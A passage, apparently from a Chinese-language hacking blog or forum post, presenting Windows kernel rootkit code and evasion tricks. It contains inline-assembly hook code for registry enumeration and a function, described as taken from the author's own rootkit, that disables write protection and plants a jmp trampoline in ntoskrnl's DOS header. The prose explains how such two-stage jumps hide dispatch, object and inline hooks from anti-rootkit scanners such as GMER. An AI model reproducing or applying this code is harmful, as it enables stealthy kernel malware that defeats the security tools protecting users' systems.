|
__asm { push eax call __ __ : POP eax SUB eax , offset __ add eax , offset NewCmEnumearateValueKey
; 获得函数开始地址
sub eax , 4 mov eax ,[ eax ]
; 获得OrgCmEnumerateValueKey
push ResultLength push KeyLength push KeyValueInformation push KeyValueInformationClass push Index push KeyControlBlock call eax mov stat , eax ; 调用原始函数 pop eax }
//.....其他处理 // //..... }
void NopFunc8 () { __asm { nop nop nop } return ; }
//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位
这样,基于ZwQuerySystemInformation , PsLoadModuleList , 对象目录,Type链 , ImageLoad , 暴力PE搜索 ( 因为我们压根就没有PE镜象 , just one piece of code ~)...
接下来看如何饶过 4. 中的检测方式
1.Hook 常用函数 : 这个很简单了,恢复自己要用的函数 ~ 或者压根就不用那些函数,HOOK代码大部分都是数据过滤 / 处理部分,所以完全可以一个系统函数也不调 ...
2. 各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook , 因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中 ( 类似的还有object hook , pxxxx hook等 ), 使用此方法的例如rootkit unhooker , gmer等
只要我们先使用这样的方法,就可以饶过检测,让Anti - rootkit工具不知道是我们的模块HOOK了这里 :
先将dispatch地址跳转到code section中不用的部分, 5 个字节就足够了,然后在这 5 个字节里使用jmp指令再跳到我们的模块里,这样Anti - rootkit工具检测时 , 就会发现dispatch routine仍然在该模块的code section中
通过这种方法也可以饶过对dispatch hook\object hook的检测
inline hook / iat / eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到 ^-^
即使Anti - rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描 , 我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来:)
一个简单的双段跳饶过object hook检测的代码 : object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中 同样来自于我的某RK : ULONG InsideHookCode ( ULONG NewAddress , ULONG BaseCode ) { //该函数用于将hook代码转接到模块的DOS头中
//in :NewAddress: real hookcode to jump //in :ModuleName: kernel module base address to inject //out :NewJump Address
ULONG TempCode = BaseCode ;
TempCode = TempCode + sizeof ( IMAGE_DOS_HEADER ) ; //into DOS stub
DO_SPINLOCK (); WPOFF ();
*( BYTE *) TempCode = 0xe9 ; __asm { push eax push ecx mov ecx , TempCode mov eax , NewAddress sub eax , ecx sub eax , 5 mov dword ptr [ ecx + 1 ] , eax pop ecx pop eax }
WPON (); EXIT_SPINLOCK ();
//write jmp NewAddress into DOS stub return TempCode ; }
OVER
|